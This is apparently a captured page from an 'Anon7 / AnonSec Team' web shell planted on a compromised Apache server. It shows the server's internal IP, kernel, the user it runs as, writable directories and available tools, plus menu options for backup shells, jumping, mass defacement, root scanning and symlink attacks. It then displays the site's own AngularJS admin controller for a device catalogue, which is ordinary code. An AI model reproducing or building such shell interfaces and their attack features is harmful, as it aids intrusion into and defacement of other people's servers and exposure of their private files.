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/  Your IP : 172.31.44.28   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ripara.co/admin/js/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/ripara.co/admin/js/controllers/device.js
materialAdmin
    

    //=================================================
    // Controller Lista Utenti e Inserimento Utente
    //=================================================

.controller('deviceCtrl', function($filter, $sce, $scope, ngTableParams, tableService, APIService, animationService, growlService) {
       
this.animationService = animationService;

$scope.elencoCampi=[ 'Marca', 'Modello', 'Categoria','Foto'];
$scope.elencoChiavi = ['nomemarca','modello', 'nomecategoria','fotodevice'];
//questa funzione fixa il problema delle chiavi con spazi o caratteri speciali nell'ordinamento delle tabelle
//utile per le alias colonne es. Numero Chiamante
$scope.rawProperty = function(key) {
    return function(item) {
        if ((key == "EndTime" || key == "StartTime" || key == "AnswerTime" || key == "AlertingTime")) {
            return item[key]['sec'];
            }
        return item[key];
    };
};
this.deviceInsert = {
        'iddevice': '',
        'idmarca': '',
        'modello': '',
        'fotodevice': '',
        'idcategoria': ''
    };

this.deviceEdit = {
        'iddevice': '',
        'idmarca': '',
        'modello': '',
        'fotodevice': '',
        'idcategoria': ''
    };

this.getMarche = function() {
        APIService.async({
            "method": "getmarche"
        }).then(
            function(adata) {
                if (adata.status) {
                    $scope.dectrl.marche = adata.message;
                } else {
                    $scope.dectrl.marche = [];
                }
            }
        );
    }

this.getCategor = function() {
        APIService.async({
            "method": "getcategor"
        }).then(
            function(adata) {
                if (adata.status) {
                    $scope.dectrl.categor = adata.message;
                } else {
                    $scope.dectrl.categor = [];
                }
            }
        );
    }

$scope.tmpSrc = {};

        //Caricament dati da API REST
        this.getData = function (){

            APIService.async({method: "getdevices"}).then(function(adata) {

                if(adata.status && adata.message.length){

                    //assegno i dati ricevuti a data
                    var data = adata.message;

                    //aggiorno la variabile per ng-repeat della tabella
                    $scope.dectrl.data = data;

                    for(asd in data){
                        var tm = data[asd].fotodevice.split("/");
                        if(tm.length<2){
                            data[asd].fotodevice = "img/device/"+data[asd].fotodevice;
                        }
                    }
                    //instanzio la ng-table
                    $scope.dectrl.tableDevice = new ngTableParams({
                        page: 1,            // show first page
                        count: 10
                    }, 
                    {
                        total: data.length,// $scope.data.length, // length of data
                        getData: function($defer, params) {
                        //controllo se esisteno paramentri che si chiamamo orderby, all'onclick ordino per quel campo
                        if (params.sorting()['orderBy'] != undefined) {
                            //aggiungo la substr perchè il primo carattere viene messo random, altrimenti ordinerebbe sempre DESC visto che se è ordinata per una qualsiasi colonna non fa più ordinare per la stessa
                            var orderedData = $filter('orderBy')(data, $scope.rawProperty(params.sorting()['orderBy'].substr(1)),
                                $scope.dectrl.isSortBy);
                            $scope.dectrl.isSortBy = !$scope.dectrl.isSortBy;
                            //ok ma non funziona con le key con spazi o punti
                            //var orderedData = $filter('orderBy')(data, params.sorting()['orderBy']);
                        } else {
                            var orderedData = data;
                        }
                        //verifico se sono definiti filtri
                        //orderedData = $filter('filterFailed')(orderedData, $scope.showOnlyFailed);

                       


                        if (params.sorting()['filter'] != undefined) {
                            var chiave = params.sorting()['filter'].key;
                            var value = params.sorting()['filter'].value;
                            
                            $scope.tmpSrc[chiave] = value;
                            console.log(chiave + "|||||" +value);
                            debugger;
                            orderedData = $filter('filter')(orderedData, $scope.tmpSrc);
                        }else {
                            var orderedData = data;
                        }
                        params.total(orderedData.length); // set total for recalc pagination
                        $defer.resolve(orderedData.slice((params.page() - 1) * params.count(), params.page() * params.count()));
                    }
                });
               
                }else{
                    
                    animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di carimento dei dati, si prega di aggiornare la pagina!");

                }

            });
        };

        this.getData();
        $scope.categor=this.getCategor();
$scope.marche=this.getMarche();
        //Insert , @Peodacontrollare
        this.newDevice = 0;

        this.submitDevice = function(valido) {    

            if(!valido){
                var messaggio = "I seguenti campi non sono corretti: ";
                if(!this.selezionemarcainsert || !this.selezionemarcainsert.originalObject || this.selezionemarcainsert.originalObject.idmarca){
                    messaggio+=" marca";
                }
                if(!this.selezionecategoriainsert || !this.selezionecategoriainsert.originalObject || !this.selezionecategoriainsert.originalObject.idcategoria){
                    messaggio+=" categoria";
                }
                growlService.growl(messaggio, 'danger')
            }else{
                
                this.deviceInsert.method = "insertdevice";
                this.deviceInsert.idmarca = this.selezionemarcainsert.originalObject.idmarca;
                 this.deviceInsert.idcategoria = this.selezionecategoriainsert.originalObject.idcategoria;
                 debugger;
                APIService.async(this.deviceInsert).then(function(adata) {
                    if(adata.status){
                        swal(adata.message, "L'utente protrà effettuare l'accesso senza verificare l'account in quanto creato da un'amministratore!", "success")
                        //aggiorno la lista degli utenti 
                        $scope.dectrl.getData();
                        //svuoto i valori precedenti
                        for(x in $scope.dectrl.deviceInsert){
                            $scope.dectrl.deviceInsert[x] = "";
                        }
                        //nascondo il menu inserimento
                        $scope.dectrl.newDevice = 0;
                
                    }else{
                        $scope.dectrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di aggiornamento dei dati, si prega di aggiornare la pagina!");
                    }
                });

            }
        }


        this.modificaDevice = function (dati) {

            if(this.selezionemarca && this.selezionemarca.originalObject && this.selezionemarca.originalObject.idmarca){
                dati.idmarca = this.selezionemarca.originalObject.idmarca;
            }
            if(this.selezionecategoria && this.selezionecategoria.originalObject && this.selezionecategoria.originalObject.idcategoria){
                dati.idcategoria = this.selezionecategoria.originalObject.idcategoria;
            }

            dati.$edit = false;
            dati.method = "editdevice";
            APIService.async(dati).then(function(adati) { 
                if(adati.status){
                    swal(adati.message, "Device modificato con successo!", "success");
                }else{
                    $scope.dectrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di aggiornamento dei dati, si prega di aggiornare la pagina!");
                }
            });
                
        }

        this.cancellaDevice = function (dati) {
            swal({   
                title: "Sei sicuro di voler cancellare il device '"+dati.nomedevice+"' ?",   
                text: "L'azione eseguita sarà irreversibile!",   
                type: "warning",   
                showCancelButton: true,   
                confirmButtonColor: "#DD6B55",   
                confirmButtonText: "Si, cancellalo!",   
                closeOnConfirm: false 
            }, function(){   

                dati.$edit = false;
                dati.method = "deletedevice"; 
                APIService.async(dati).then(function(adati) { 
                    if(adati.status){
                        swal(adati.message, "Device eliminato con successo!", "success");
                        $scope.dectrl.getData();
                    }else{
                        $scope.dectrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Non puoi cancellare questo device perchè ci sono altri elementi legati ad esso!");
                    }
                });

            });
        }


        scoping = $scope;
        //per insert
        this.aggiornaImgInsert= function(){
         //setto l'immagine in real time
                var fileInput = $('#foto-input');
                var file = fileInput[0].files[0];

                scoping.dectrl.deviceInsert.upload = file;
                var imageType = /image.*/;

                if (file.type.match(imageType)) {
                    var reader = new FileReader();

                    reader.addEventListener("load", function () {
                        scoping.dectrl.deviceInsert.previewImage = this.result;
                        $('#mock').click();
                    }, false);

                    reader.readAsDataURL(file); 
                } else {
                    alert("File non supportato!");
                }
                    
                    
        }

        this.aggiornaImgUpdate= function(fileinputTag){
         //setto l'immagine in real time
         debugger;
                var fileInput = fileinputTag;//$('#foto-input');
                var file = fileInput.files[0];

                scoping.dectrl.deviceEdit.newfoto = 1;

                this.deviceEdit.upload = file;


                var imageType = /image.*/;

                if (file.type.match(imageType)) {
                    var reader = new FileReader();
                    reader.addEventListener("load", function () {
                        scoping.dectrl.deviceEdit.fotodevice = this.result;
                        $('#mock').click();
                    }, false);

                    reader.readAsDataURL(file); 
                } else {
                    alert("File non supportato!");
                }
                    
                    
        }

   


     


       


    })

  

Anon7 - 2022
AnonSec Team